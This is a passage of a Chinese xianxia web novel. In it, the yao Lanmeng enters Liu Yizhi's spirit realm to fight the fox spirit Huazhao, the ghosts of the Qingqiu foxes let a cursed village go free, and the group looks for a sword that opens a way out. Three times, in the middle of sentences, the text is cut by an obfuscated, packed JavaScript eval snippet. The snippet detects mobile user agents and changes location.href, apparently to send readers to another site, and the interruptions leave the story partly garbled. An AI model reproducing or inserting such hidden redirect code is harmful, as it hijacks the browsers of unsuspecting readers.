她扭头朝侧后方看去,一个青色的身影一闪而过,转眼间便不见了,竹林又恢复了静谧。 岚孟继续朝山上走,然而没走多远,竹叶蝴蝶再次从正面袭来,这次岚孟没再躲,端端正正站在原地,竹叶蝴蝶蜂拥而至,即将扑到她身上时忽然调转方向朝高空涌去,打在竹梢后纷纷溃散往下掉,像是下了一场竹叶雨。 “真没意思。” 嘟囔声传入耳中,岚孟扬声道:“出来!” 四周静谧无声,岚孟再道:“柳逸直,别躲了,我知道是你。” 悉悉索索的声音响起,一个身穿青衣的小童从竹叶堆里冒出了头,一双琥珀色的大眼睛盯着岚孟,他问道:“你怎么知道我的名字?” 岚孟瞧着小少年圆润稚嫩的脸颊,依稀可以看出几分柳逸直的影子。也对,花照抽取的是柳逸直十八年前的记忆,那时他也就五六岁大吧。 岚孟径直朝缩小版柳逸直走过去,捏住他的后脖颈将他从树叶堆里提了起来,两人大眼瞪小眼,柳逸直指责道:“快放开我!不知道要关爱小孩子吗!” 岚孟忍俊不禁,没想到长大后那般瘦高挺拔的人,小时候居然是个小胖子。 她伸出另一只手捏了捏他肚子上的软肉,反驳道:“是你先攻击我的。” 柳逸直“啪”地一下打掉了她的手,挣开她的钳制跳到地上,双手捂住肚子,满含怒气的眼睛瞪着她:“你这人好生没有礼貌,你爹娘是怎么教你的,不知道男女授受不亲么!” 岚孟挑眉:“我没有父母。” 柳逸直怔了一下,疑惑地皱起眉:“怎么可能,只要是人都会有爹娘的!” “我又不是人。”岚孟耿直道,她弯下腰,把脸凑近他,眼瞳一寸寸变蓝,面露凶光,吓唬道:“我是妖,专门吃小孩的恶妖,像你这样胖乎乎的小孩最好吃了,我一口一个……” 少年两只手捂住眼睛,“哇”地一声哭了,呜咽道:“你欺负人呜呜呜……” 岚孟冷笑一声,耸肩道:“谁让你妨碍我,到时候遭殃的可是你自己。” 她拔腿朝山上走去,没走两步,柳逸直又迈着短腿追了上来,六岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14981083|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小孩还没她的腰高,两手抱住她的一条大腿,眼中还闪着泪花,央求道:“妖怪姐姐,你别走。” 岚孟顿感头疼。这小子,变成小孩了还这么难缠,真是遭罪。 她冷眼看他:“松手,我有要紧事。” 柳逸直的头摇得像拨浪鼓:“不要!这里都是假人,爹娘也是假的,只有姐姐会和我说话。” “你就不怕我吃了你?” 少年吸了吸鼻子,抬起粉雕玉琢的小脸觑她,眨巴着大眼睛,怯生生道:“像姐姐这样美若天仙的妖怪,怎么会吃小孩呢,定是骗我的。” 油嘴滑舌。 岚孟心中不免惊奇,柳逸直这人平日里一肚子坏水,没想到居然还会说俏皮话呢,真是男大十八变。 好吧,她改主意了。他是灵府的主人,花照干了什么应该瞒不过他才对。 “我要找一只不属于这里的狐狸精,她叫花照,有七条尾巴,你要是能帮我找到她,我就带你从这个鬼地方出去,怎么样?” “真的?”少年眼睛亮晶晶的。 岚孟点头,“当然,我这人向来说话算数。” “那姐姐跟我来吧。”柳逸直松开抱着她大腿的胳膊,转而牵上她的手,拽着她往山上走,“这边。” 原以为柳逸直会带着她走向山顶,不料走出竹林之后,他便拉着她朝侧方走去,一条小河逐渐出现在两人眼前,是英水。 柳逸直拉着岚孟朝河流上游走去,岚孟心道,莫非是在那个山洞里?不多时,柳逸直轻车熟路地领着岚孟来到英水源头所在的山洞。 山洞里没有尸山骨海,没有宣措也没有花照,只有一方清澈的池水源源不断地冒出清泉,池水边缘插着一柄巨大的剑,剑身上长满了赭红的铁锈。 岚孟拧眉望向柳逸直,狐疑道:“你是不是带错路了?” “就是这里!”柳逸直斩钉截铁道,他牵着岚孟朝山洞深处走,信心满满道:“她肯定会来的,我们在这里守株待兔,不,守剑待狐就可以了!” 两人躲在巨剑之后,岚孟扶着柳逸直的肩膀,将他按在身前,一低头,就看见他脸上一副神采奕奕的样子,兴致相当的高。 岚孟腹诽道,他不会是把这当成什么山洞探险了吧? 没过多久,一阵急促而沉重的脚步声由远及近,岚孟立即敛气屏声,紧张地看着洞口。 一个身穿红衣、浓眉大眼的中年人走了进来,岚孟认出来他就是青丘狐王宣措,有着千余年道行的九尾天狐,他身上缭绕着浓重的魔气,双眼猩红而恐怖。 宣措径直走进了池水之中,和岚孟二人仅一丈之遥。没过多久,一团黑雾从宣措身上冒了出来。 岚孟一开始还以为那黑雾是和昭离一样被魔气污染了的山魑,毕竟青丘人杰地灵,诞生一两只山魑也不奇怪。待黑雾完全脱离宣措的身躯,岚孟才发现她错了,那就是一团浓黑如墨的魔气。 魔气脱离的那一刻,宣措眼中的猩红一下子就消失了,他面露凶光,紧紧盯着面前的一团魔气,咬牙切齿道:“你不要太过分了。” 64. 狐千殇 “不是你求我这么做的吗?” 黑雾在宣措的周身漂浮打转,它若是有五官的话,定是在奸笑着,眼神如蝮蛇般狠毒,表情凶恶又恐怖。 宣措咬牙切齿:“你若是要我的命,尽管拿去就是,但你不能伤害我的族人!” “单凭你这条命,可填不饱我的肚子……”黑雾嗬嗬地笑,“现在后悔,已经晚了,你可没有讨价还价的余地。” 黑雾再一次从巨剑旁边路过时,岚孟直勾勾的盯着它,忽然,黑雾中有什么东西一闪而过,岚孟的呼吸都滞住了,好像有毒蛇猛兽露出尖牙朝她张开了血盆大口,整个人不寒而栗,浑身上下都起了鸡皮疙瘩,额头也沁出了豆大的汗珠。 那种被蝮蛇注视的感觉一瞬间便消失得无影无踪,而岚孟的后背已经沁出了一层冷汗。她扭头朝背后看去——什么也没有。 柳逸直拽了拽岚孟的袖子,往洞口一指,“她在那!” 岚孟猛地回头,只见一只七尾妖狐毫无声息地站在洞口,微微歪着头看了过来,正是花照。 岚孟一下子蹿了起来,直直朝花照扑去,就在她要抓住花照的时候,狐尾轻轻朝她一扫,岚孟便如断线的风筝一般飞了出去,径直落入了池水之中。 像是镜花水月一般,视野里宣措和黑雾的身影骤然消失,明明只是记忆,但池水的冰凉却逐渐浸透了她的神魂,岚孟感觉身子越来越凉,周围越来越暗,眼睛也越来越沉。 忽然,“噗通”一声巨响,岚孟猛地睁大了眼睛,她看见柳逸直跳入池水中朝她游了过来,脸庞依旧稚嫩,但眼神却坚定不移,就好像是在和她所熟悉的柳逸直对视一般。 一大一小两只手相接触的那一刻,周围的场景忽然变了,冰冷昏暗的池水变成了布满火红云彩的天空,岚孟感觉自己在极速地下坠,猛烈的风从脸上刮过,带来了一阵阵灼热的气浪。 岚孟偏头向下方看去,只见漫无边际的火海燃烧了山川,也烧红了头顶的这片天。她用力将柳逸直扯进了怀里,在空中打了个滚,背后长出了蓝色的巨大羽翼,外延有一圈银白的羽毛,像是蔚蓝海水拍打在海岸上形成的洁白浪花。 岚孟单手托着柳逸直的膝弯,后者则双手揽着她的肩膀,两人悬浮在半空中,皆拧眉望着下方惨烈的景象。 漫山遍野的熊熊大火,英水被蒸腾出浓重的白烟,山中野兽四处奔逃,运气好的,能够冲出火海逃出生天,运气差的就只能被火海吞噬成灰烬,山顶禁阵中的九尾狐们也是如此。 血祭禁阵的阵纹覆盖了整座山,即使已经被毁了大半,却依旧在运行,源源不断地抽取着九尾狐体内的妖力。随着生机的丧失,妖力低微的狐妖已经化作轻烟消失了,只留残魂在天地之间悲鸣,十余只六尾以上的狐妖尚在负隅顽抗,他们的敌人,是数以千计的朝圣道的魔。 他们身穿黑袍,脸上都带着骷髅面具,从地底升起的魔气源源不断涌入体内,补充着他们消耗掉的力量。身处于如此浓郁的魔气氛围之中,狐妖也逐渐被魔气侵染,身上泛着黑气,眼瞳也逐渐变红。 岚孟紧紧抿住了唇,面上似有悲戚。 她看见尧玦了。 他和周身魔气缭绕的宣措打在一起,两人的动作快得让人看不清,每一击都伴随着空气的撕裂声,山崩地裂,血雨腥风,天地都为之战栗。 朝圣道来的魔修都是破妄境以上的强者,敌众我寡的情况下,青丘一方连连败北,跟随尧玦前来支援的清瑶宫山主王述青已经没了生机,身体渐渐溃散。揽月剑派长老高阙的剑断了一把又一把,犹在苦苦挣扎。 被魔气侵染的青丘狐妖们渐渐失去了战斗力,只剩最后一只八位狐妖还在负隅顽抗,值得注意的是,他并未被魔气侵蚀,浑身缭绕着纯净之气。 岚孟对青丘狐族的了解并不多,只依稀记得尧玦十分欣赏一个狐妖,说他高风亮节,是九尾狐中的一股清流,他的名字,叫衔青。只见他张开巨大的八条狐尾将奄奄一息的狐妖们护在身后,数十个魔修对他展开了猛烈的攻击,他身上的血越来越多,而他张开的结界也已经生出了细小的裂纹。 当年岚孟赶到的时候,王述青、高阙、青丘狐妖和朝圣道的魔修全部战死,尸体也化为齑粉,反哺天地了,整个青丘只剩完全魔化的宣措和尧玦,所以她并未见过衔青,想来他早已身亡,只留一抹残魂在天地间游荡,被后来的花繁等人带走了吧,现下说不定正寄身在清风村某个村民的身上。 “我爹娘就是在那里死的。”柳逸直忽然伸手朝一个方向一指。 岚孟顺着他手指的方向看去,那是禁阵的中心,插着一把生锈的巨大铁剑,阵纹以锈剑为中心朝四周蔓延,这里的火势最大,到处都是被烧得焦黑的尸体。 岚孟扭头看向怀中的少年,稚嫩的脸上是和年龄不相符的沉稳与冷静,那一瞬间岚孟还以为真正的柳逸直回来了,她微张着唇,“你……” 然而下一秒少年就将头埋进了她的肩窝,衣襟被泪水濡湿,微凉的触感传至岚孟心头,让她心中也升起了一丝苦涩。 于是岚孟就知道了,他还是那个尚且年幼便被掳至狼窝虎穴、父母双双惨死的可怜孩子。 来不及出言稍加安慰,岚孟便看见人身狐尾的花照在刀山火海之中飞奔,看那样子是想去衔青身边,她立即朝花照飞去,在半途上将她拦了下来。 花照瞪着岚孟,七条狐尾像是利剑,一齐指着她,恶狠狠道:“闪开!” 岚孟沉下脸来:“凡事都有限度,方才你也听到了,宣措是被朝圣道利用了,血祭青丘不是他的本意,你还想怎样?我劝你不要太放肆了。” “我让你闪开!”花照怒吼一声,狐尾猛的变粗变长,径直朝岚孟甩去。 岚孟一把甩开柳逸直,将他往边上一推,手中幻化出蔷薇藤缠绕住了狐尾。花照毕竟只是一缕残魂,修为早已所剩无几,否则也不会寄身在花蔺身上,所以岚孟手上一用力就将她扯了过来。 岚孟一把掐住花照的脖子将她拎了起来,幽蓝双瞳犹如深不可测的深渊,花照丝毫不怵,眼中闪过一丝狡猾,她道:“你以为这样就结束了吗?” 话音刚落,花照身上忽然冒出了青绿色的火焰,灼热顺着相接触的地方迅速爬上了岚孟的胳膊。这是花照燃烧魂魄而成的火焰,对神识有着极强的杀伤力,岚孟咬牙忍着疼没放手,火势一下子便蔓延到了她的全身。 痛呼声从侧方传来,岚孟扭头看去,只见柳逸直的身上也尽是青绿火焰,并且比她身上的颜色更绿、火势更大。 “姐姐……” 少年趴在地上,双手痛苦地扯着衣襟,裸露的脖子上已经浮现了密密麻麻的红线,就像是瓷器上的裂纹一般,仿佛只要轻轻一碰就会应声碎裂。 岚孟怒火中烧,掐住花照脖颈的手骤然握紧,她咬牙切齿道:“你以为我杀不了你吗?” 脖子上巨大的力道让花照的脸痛苦地皱起,窒息感越来越重,可她却嗬嗬地笑,阴森又疯狂,“来啊!杀了我!你要是杀了我!那小子必死无疑!黄泉路上有人作伴,老娘不亏!” 痛及灵魂的灼烧感让岚孟目眦欲裂,不仅是花照的狐火,还有身后那道伤口撕裂传来的痛感。当年她虽然拼死斩杀了魔化的宣措,却也留下了横跨肩背、伤及肺腑的巨大伤口,吞下尧玦妖丹以后,属于重明的羽毛便从伤口处长了出来,日日夜夜提醒着她还有未报的血海深仇。 方才花繁将她掼进土中的那一击让伤口撕裂开来,尽管她现在是神识出鞘的状态,但身体上的疼痛还是源源不断刺激着她的神魂,连用狐火的灼烧一起,让她苦不堪言。 花照发觉了这一点,唇边扬起恶劣的笑容,讽刺道:“看吧,看吧,你什么也做不到,谁也救不了,不管是当年的尧玦,抑或是眼前这个人。趁早放弃吧,好好活着不好吗,为什么非得把自己命搭上不可?” 岚孟略微勾唇,发出一声冷笑:“你不也苟活于世,费尽心机想要瞒天过海,把九尾狐一族留在人间吗?你有什么资格在这说风凉话。” “莫非你以为杀了我们这些挡路之人,就能继续岁月静好吗?你没发现花繁的生机在一点点流失吗?还有那些凡人,扭曲了生长规律,不老不死十八年,你以为他们还能支撑多久?” “你胡说……”花照挣扎着开口,眼中似能喷出火来。 “我胡说?”岚孟恶劣地笑起来,反问道:“那你们从荒骨之地里抓来的异兽都去哪了?全成了填补花繁修为的养分了吧!你当真以为仅靠一人之力就能支撑这偌大的秘境了吗?这里可是诸神留下来的仙域,她花繁就算是九尾天狐,那也不是仙!” “放肆!”花照怒喝一声,尾巴疯狂地朝岚孟席卷而来,每一根都有着千钧之力,岚孟的手再也抓不住,她重重摔了出去,正好摔在了柳逸直身边,背后的巨大羽翼如瓷器般碎裂。 花照转身欲走,然而岚孟猛地甩出一根蔷薇藤紧紧锁住了她的脚踝,尖刺扎入皮肤之中,花照发出了一声惨叫。 外界,岚孟的身体猛地吐出一口血来,她的脸色顿时变得煞白,守在边上的鸣珂猛地吓了一跳,“要死了要死了,这该怎么办……” 灵府之中,岚孟看着近在咫尺的柳逸直,裂纹爬上了少年的脸颊,他的呼吸已经十分微弱,整个人越来越淡,透过他的身躯甚至能看到后方的死尸与焦土。 整个记忆开始崩塌,灵府到处动荡不安。 “我是不是很没用……我就是个累赘,保护不了爹娘,也保护不了姐姐……”少年气若游丝,面露绝望,一颗颗晶莹的泪花夺眶而出。 那一瞬间,岚孟好像看到了多年前的自己。 她伸手和少年交握在一起,缠在她手腕处的蔷薇藤开出了一朵朵洁白的蔷薇花。 柳逸直看着一片片皎洁的花瓣随风飘落朝他飞来,隐入了他的身体之中,周身幽绿狐火渐渐变小,撕裂的疼痛逐渐减轻,体内也涌出了无限的力量。 山崩地裂,电闪雷鸣之时,她平淡而坚定的声音清晰地传入耳中。 “柳逸直,这里可是你的灵府。” “给我站起来!” - 眼见着柳逸直和闫扶音的状态越来越糟,鸣珂急得像热锅上的蚂蚁。 到底该怎么办啊!谁来救救她? 这时,不远处被蔷薇藤捆住的清风村村民之中忽然传来了一声哭泣,一个半大的孩子捂着眼睛哭了起来,“呜呜呜娘,我好害怕……” 妇人手忙脚乱地捂住孩子的嘴,低声哄道:“儿啊,你可长点心吧,你也不看看现在是什么情况,还不快把嘴闭上!” 这个孩子的啼哭声小了下去,另一个孩子又哭了起来,“我想回家呜呜呜……” 其他孩子也纷纷张开嘴大哭起来,嚎啕声此起彼伏,天地间好像只剩下他们的鬼哭狼嚎,吵得鸣珂头疼,然而还不等她出言呵斥,刘忠华便率先骂道:“嚎什么嚎!还以为自己是什么也不懂的小娃娃呢!你们哪个不是在这里多活了十八年!少给老子装嫩!谁再嚎老子割了他的舌头!” “村长!你这话说的也太过分了!当初是谁把这交易吹得天花乱坠,怂恿我们全村人答应狐仙的条件,搬到这鸟不拉屎的鬼地方来的!”一个汉子叫嚷道。 “大家伙评评理,是不是他刘忠华鬼迷心窍给咱们下的套!” “要是早知道进了这鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986972|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方就没法出去,就算是打死我,我也不稀罕来!我藏在老屋茅坑里的一贯铜钱还没花呢!” “就是就是!什么长生不老,什么一劳永逸!都是骗人的!亏老娘还那么相信他!” 村民们纷纷附和。 刘忠华咧开嘴笑了,果然一个人感觉无语的时候是会笑出声的。 “当初我只是提了一嘴大仙,说想和我们做交易,不是你们赶鸭子上架,让我去和大仙商量吗?到底是谁怂恿谁?你们还有没有良心!为了保证清风村的安全和利益,我顶着压力和大仙谈条件,脏活累活都是老子干,你们什么也不用做就能得到长生,现在出事了,你们倒是聪明,学会过河拆桥了!大家都是一个村子的,你们到底有没有良心!” 要不是被捆在最外围,脸还朝着外面,刘忠华的唾沫星子能淹死一村子人,他现在算是见识到这些人都是些什么狼心狗肺之徒了!没一个好东西! 过去十八年的陈芝麻烂谷子全都被搬到了台面上,村民们七嘴八舌地吵了起来,唾沫星子乱飞,吵闹得像是炸开了的马蜂窝一样。 鸣珂被吵得一个头有两个大,她忍无可忍,伸手挥出一道妖气打向村民所在的方向,“轰隆”一声巨响,两人合抱的巨大梧桐树被拦腰劈断,偌大的树冠向后倒下,尘土满天飞扬。 “都给老娘闭嘴!”鸣珂怒骂道,“人心不足蛇吞象,要不是你们被猪油蒙了心,非要贪恋那狗屁长生,又怎会着了那狐狸精的道,成为养魂的容器!” 众人一下子噤声了,面面相觑不敢出声,生怕被面前这个实力高强且脾气暴躁的大妖一把掐断了脖子。 真是气煞我也!鸣珂低声咒骂。 余光中,一个半透明的狐魂从刘忠华身上飘了出来,泛着光的锁链将他和刘忠华的心脏连在了一起,鸣珂认出了他,冷哼道:“怎么,缩头乌龟现在倒是肯出来了?” 那人有一副好颜色,面若冠玉,眼含秋水,他端端正正跪坐在地上,腰板挺直如松,他朝鸣珂微微颔首,“鸣珂少主。” “还请将鸿大人放出来吧,在下来为大人解禁。” 鸣珂挑眉:“你和花家三姐弟不是一伙的?” 衔青缄默不语,可鸣珂却从他沉默的表情中读懂了一切。 “好吧,你人品好、讲道理,我可以信你一次。”她扬手将鸿从妖境里放了出来。 鸿摔在地上,“唉哟”了一声,扶着腰身哀嚎连连:“你这小兔崽子,也不晓得关心老年人,老夫的腰哟……” 花蔺听到了这边的动静,立即扑了过来,“衔青!你莫要多管闲事!快回去!我们能解决的!” 然而蔷薇藤网在感受到花蔺的靠近时立即放出尖刺,藤蔓变成了荆棘,虽然花蔺眼疾手快地躲开,却也被尖刺勾破了衣服。 越来越多的狐魂从村民身体里飘了出来,他们中像衔青这般神志清醒、尚有余力的只在少数,更多魂魄浑浑噩噩,不知身在何处,被其他同伴搀扶着跪坐在衔青的身后,数十个狐魂挤在一起,乌泱泱得一大片。 花繁的目光一一从他们身上掠过,最终停在了最前面的衔青身上,她面无表情,眼神无波也无澜。 “你确定要这样吗?” 如何如今狐魂的数量远远少于当年青丘九尾狐的总数,当年由于花繁被绊住了脚步,尘埃落定之时才匆匆赶回青丘,那时就算是她也无力回天,只勉强留下了尚算完整的魂魄。 花照肉身已毁,尚能苟活在同胞弟弟花蔺的身体里,而其他兄弟姐妹却只剩一抹残魂,随时都可能魂飞魄散。花繁不得不强行破开山河图,找了个不为人知的秘境,以自己为基石重建青丘,还抓了清风村村民和轮回蝉,前者用来温养魂魄,后者则用来更改时间法则瞒天过海。 她只想一直,一直和家人们在一起,就算要损耗千年道行燃烧生命,她也在所不惜。 她以为可以的。 为什么,就这小小的心愿,也只是她的奢望吗? “已经够了。”衔青道。 他敛下眼眸,一抹淡薄的笑容浮现在他的唇畔,半透明的身影虚幻而缥缈,好似风一吹就会散了,在这广阔无垠的天地间留不下一丝痕迹。 “不要再为我们舍弃更多了,我们都想你好好活着。” 花繁抿着唇没有说话,花蔺已变成狐身,用身体疯狂地撞着岚孟留下的灵气墙壁,蔷薇尖刺毫不留情地扎进他的身体,身躯很快就变得血肉模糊。 “衔青!不要!” 花蔺苦苦哀求着,然而衔青不为所动,他伸手抓住了鸿头顶的丝线,丝线割破了他的手掌,鲜血滴在地上,像是绽放的血色之花,转眼间便化作星星光点消散了。 “姐!” 花蔺回头高喊,花繁圆润的眼瞳一下子变成了竖瞳,九条巨大狐尾从她身后迸发而出,挽起狂风,朝灵气墙壁击去,无数蔷薇藤暴起阻挡,不出一息时间便被尽数斩断,灵气墙在九尾天狐面前不堪一击,“咔咔咔”七零八落碎了一地。 鸣珂被狐尾甩飞出去,花蔺身形敏捷地跨过裂缝跃到了对面,径直朝衔青扑去。 说时迟那时快,原本安安稳稳躺在地上的岚孟忽然睁开了眼睛,瞳孔幽蓝如深渊,她伸手往柳逸直身前一抓,虚空中出现了一条蔷薇藤,手上一用力,蔷薇藤便被甩飞出去,花照的魂魄被扯出了柳逸直的灵府。 蔷薇藤如有千钧之力,准确无误地打在了花蔺身上,六尾妖狐被掼进土中,距离衔青仅一步之遥。 衔青的衣襟在眼前飞舞,花蔺挣扎着朝他伸出手,衣角从手中滑过,他听见了“铮——”的一声。 一头连着轮回蝉,一头连着苍穹的丝线断了。 65. 狐死丘首 一滴滴冷汗沿着鸿的鬓发淌了下来,他的眉头深深皱起,胳膊上冒出青筋,用来束发的簪子“哐当”一声掉在了地上,满头华发散落下来,在微风中肆意飘扬。 透过一个个半透明的狐魂,清风村众人惊恐地发现鸿的满头华发逐渐变黑了,从头顶开始,发丝一寸寸变得黝黑,同时,骨骼生长的“咔咔”声在众人耳畔回响,鸿佝偻的脊背变得挺直,骨瘦如柴的身躯变得壮硕有力,枯干如树皮的皮肤变得光滑细腻,他的时光慢慢倒退,耄耋之龄的老人转眼之间便成了孔武有力的青年。 在场所有人的目光都聚集在了鸿的身上,他剑眉星目,身姿挺拔如松,即使身着不合身的麻布衣裳,也不掩他与生俱来的从容气质。 然而他一开口,那种“温润公子”的气质一下子便如镜子般碎了。 “到底是哪个龟孙竟敢暗害小爷?!” 鸣珂一向看热闹不嫌事大,她立即指着沟壑对面的花繁道:“是她,是她,就是她!” 鸿一把撸起半短的袖子,拎起脚边掉落的砍柴刀,怒气冲冲地朝前奔去,他快得好似一道闪电,眨眼间便跨越深沟来到了花繁面前,豁了口的生锈柴刀在他手里就变成了绝世神器,打得花繁连连退败。 见状,花蔺急得张嘴咬断了缠在身上的蔷薇藤,跳起来看看远处和鸿扭打在一起的花繁,又看看被蔷薇藤尖刺扎入魂魄的花蔺,更何况还有以衔青为首的众狐魂,他进退两难,左右维谷,龇着牙喘着粗气,一时间竟不知道该顾哪头。 “愣着干嘛,还不快去帮花繁!”不知道是哪个狐魂开口道。 其他神志尚存的魂魄立即附和。 “男子汉大丈夫,扭扭捏捏的,能成什么事!” “我们还能撑一会呢!快去帮你姐吧!被一只虫子压着打,真是太不像话了!” “小花照就交给我们吧!” 花蔺看向衔青,后者冷静地点了点头,花蔺这才扭头朝远处混战的两人跑去。 鸣珂松了口气,她快步走到岚孟二人旁边,提议道:“趁着那假老头把狐狸精牵制住了,咱们快趁乱逃走吧!过了这个村就没这个店了!” 她这才发现虽然岚孟已经坐起来了,柳逸直却还直愣愣躺在地上,两眼紧紧闭着,呼吸轻而缓,一动也不动,她问道:“柳逸直还没醒?” 岚孟面无表情地乜了柳逸直一眼。 柳逸直冷汗涔涔。其实他早就醒了,只不过实在是无颜面对某人。 心中像是有一万只马匹在奔腾。啊!原来他六岁的时候是会超漂亮姑娘撒娇的性子的吗?他的一世英名…… 没事没事,那时候他才六岁,小孩嘛,谁没个伤心脆弱的时候? 柳逸直这样安慰自己。 尚不及伤春悲秋,小腿上就遭到了一记重击,熟悉又冰冷的声音传入耳中:“起来。” 柳逸直缓缓睁开了眼睛,装作一副刚醒的样子,“唉?发生什么事情了……” 话未说完,腿上同一个地方又被人踢了一脚,柳逸直立即麻利地爬了起来。 他端正表情,一本正经道:“未被开拓的秘境是没有传送门的,更何况花繁已经将此地收为己用,恐怕只有她才能开启前往其他秘境或者外界的通道。” “引颈就戮可不是什么好办法。”岚孟指了指远处和两狐缠斗在一起的鸿,“他的妖力已经逐渐回归了,时间法则即将解除,那些凡人身上维系狐魂的锁链断裂也只是时间问题,届时花繁指不定会做出什么惊天动地的事情来,秘境坍塌也不是没可能。” “但是就凭我们几个,恐怕没法打开通道。”鸣珂犹疑道。她的妖力所剩无几,柳逸直神魂有损,闫扶音也受了伤,单靠他们三个伤残人士的力量,要想打开通道恐怕是痴人说梦。 这时,不远处的衔青开口了:“九尾狐族造的孽,我们自己来解决,三位只需要答应在下一个请求,在下保证三位可以安然无恙地离开此地。” 鸣珂轻嗤一声,满脸的不相信,“你都泥菩萨过河自身难保了,还想逞英雄呢?” 衔青口中说着“你们三位”,眼睛却只看着岚孟一人。感受到了强烈的目光注视,岚孟转回身看向他。衔青泰然自若地跽坐在地上,丝毫不受周围影响。 他身后的狐族同胞们似乎是十分清楚并且已经接受了等待着自己的未来是什么,皆安安分分地坐着,不吵也不闹。蔷薇藤的中间被花蔺咬断了,末端却依旧深深扎进花照的身体里,花照一脸灰败,被几个狐魂抱在怀里。 再后面,是被捆在一起的清风村村民。当年他们抛弃了祖祖辈辈生活了很久的土地,为了所谓的“长生”来到了这里,不用吃喝拉撒,也不必辛苦劳作,稀里糊涂地过了十八年,如今秘密被人发现了,“长生”的臆想也如幻影般破灭。过去的几个时辰也算是见识了大风大浪,可他们依旧茫然无措,不知道自己错在了哪里,也不知道自己能不能看到外面的太阳。 天色渐渐亮了起来,一缕阳光打在了沟壑上,沟壑两边像是两个世界,那边的战斗如火如荼,这边却是死一般的寂静,人,妖,鬼魂,三个不同阵营的人聚在了一起,谁也没有开口说话,只等待着一个人做出决定。 岚孟蓦地叹了口气,朝衔青正色道:“说说看。” 衔青道:“还请诸位将这些村民带出山河图,消去他们的记忆,并且给予他们安身立命之所。” 岚孟勾唇冷笑:“你这可不止是一个请求。” 衔青道:“英水源头处的洞穴里有一柄铜剑,面文星辰,背刻山川日月,有开天辟地之能,将剑拔出来就能去到外界。”① 岚孟立即想起了在柳逸直的记忆里见到的巨大锈剑,她朝身侧的人看了一眼,正好对上了他的视线。 柳逸直和那双幽蓝的眸子对视片刻,忽然感觉心里慌慌的,于是若无其事地移开了目光。 “另外,这里有一株千年火芝和一瓶天泉水,权当是给三位的报酬。”衔青伸手一挥,两个锦盒便自动飞到了鸣珂和岚孟面前。 鸣珂打开锦盒一看,顿时两眼放光:“喔!品相好不错,没想到你竟然还有这等宝贝!” 岚孟手中的锦盒里有一个巴掌大的琉璃瓶,里面盛满了清澈的泉水,瓶身缭绕着氤氲的灵气。 她“啪”的一声合上了锦盒,抬眼看着衔青道:“你就不怕我出尔反尔?再说了,我可没那本事消除那么多人的记忆。” 衔青勾了勾唇:“我是不相信你,但我相信尧玦。” 相信尧玦教出来的弟子,没有那么差劲。 岚孟哼了一声,将锦盒收进芥子袋里,打了个响指,捆束住清风村村民的蔷薇藤便立即化作了齑粉。 一直跪坐的衔青忽然站了起来,他身后的狐狸们也纷纷起身,衔青伸出手指朝前一划,连接着村民和狐魂的锁链顿时断裂开来。 在身上拴了十八年的枷锁说断就断了,村民们好似经历了一场大梦,他们面面相觑,一时间不知道该怎么办,纷纷朝刘忠华投去了求助的目光。 尽管方才大吵了一架,什么难听的话都骂了出来,可刘忠华是清风村村长的事实不会改变,他依然是全村村民的主心骨。刘忠华看了看等在不远处的岚孟三人,又看看沟壑对面如火如荼的战斗,他一咬牙,率先朝岚孟三人走了过去 “我们走!” 村民们纷纷跟了上去。 鸣珂率先朝山上掠去,岚孟跟了上去,没回头道:“都跟紧了!要是掉了队我可不会回头救你们!” 柳逸直深深看了一眼衔青等人一眼,他们皆神色平静,有几个人脸上甚至还有如释重负的笑容,微薄的晨曦打在他们身上,让半透明的魂魄显得更加如梦似幻,仿佛风一吹便会如轻烟一般散去。 他终究什么也没说,提步跟上了去。 岚孟支起了结界将众人都圈了进来,柳逸直御使清风将球型结界托了起来,鸣珂化作青鸾在前面开路,一行人很快便来到了英水源头。 经过了几轮激烈的战斗,这里早已化作一片废墟,异兽的尸骨撒了一地,泥土沙石将清澈的英水染成了黄色,一条条赤鱬鱼时不时跃出水面,发出凄厉的叫声。 山崩地裂让剑从尸骨堆之中露出了头,柳逸直飞了下去,扬起玉白骨扇一扇,不计其数的尸骨被击飞出去,锈迹斑斑的铜剑露出了面貌。 毫无疑问此剑乃是衔青允诺给他的报酬,但是对于他来说是不是太大了点? 锈剑一半插入土中,一半冲上云霄,裸露在外的部分就有三丈高、一丈宽,更别说拔起来了,柳逸直站在剑的顶端,甚至还没有剑柄高。 柳逸直将手杵在下巴上拧眉思考。衔青必然是经过深思熟虑才将此剑相赠的,更何况开启通道之法也和此剑有关,只要找对方法,就一定能拔得出来。 山脚下,打了许久的鸿也精疲力尽,妖力几近干涸,但他也将两个狐狸精打得半死,不亏!于是鸿一把扔掉了破破烂烂的柴刀,化作原型朝山上飞来。轮回蝉体型小,身形敏捷,抓也抓不到,打也打不死,最适合用来跑路。 忽然,一声悲厉的狐鸣响彻云霄。 轰隆隆—— 群山震颤,骤然间地动山摇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 